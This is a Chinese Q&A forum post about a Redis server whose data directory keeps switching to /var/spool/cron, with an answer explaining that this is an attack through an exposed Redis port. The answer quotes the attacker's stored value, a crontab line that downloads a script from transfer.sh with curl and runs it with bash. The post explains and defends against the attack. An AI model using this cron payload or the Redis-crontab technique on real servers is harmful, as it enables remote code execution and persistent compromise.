Redis config dir周期性修改为 "/var/spool/cron"，报 "Failed opening .rdb for saving: Permission denied"错误

Question

我已经设置了我的 redis 服务器，以便 CONFIG GET dir --> "/var/lib/redis" 和 CONFIG GET dbfilename --> "redis.rdb".

但是，在我的服务器运行几个小时或几天后，我开始收到 “Failed opening .rdb for saving: Permission denied” 错误。

如果我再次执行 CONFIG GET dir --> "/var/spool/cron" 和 CONFIG GET dbfilename --> "root"。我曾尝试到处寻找以了解正在发生的事情，但无济于事。

如果我只是重新启动我的 redis-server，那么配置会再次重置为我在“redis.conf”文件中设置的原始设置。

Answer 1

这确实是一次攻击。如果您在发生这种情况后检查您的 Redis key ，您将看到很少的“字符串” key ，如下所示:“Backup1”、“Backup2”、“Backup3”。

这些值将是这样的:

"\t\n*/2 * * * * curl -s https://transfer.sh/QMvW6/tmp.M8pAEgBA6T > .cmd && bash .cmd\n\t"

这是为了修改您的 crontab。

底线是 - 不要向世界开放 redis 端口。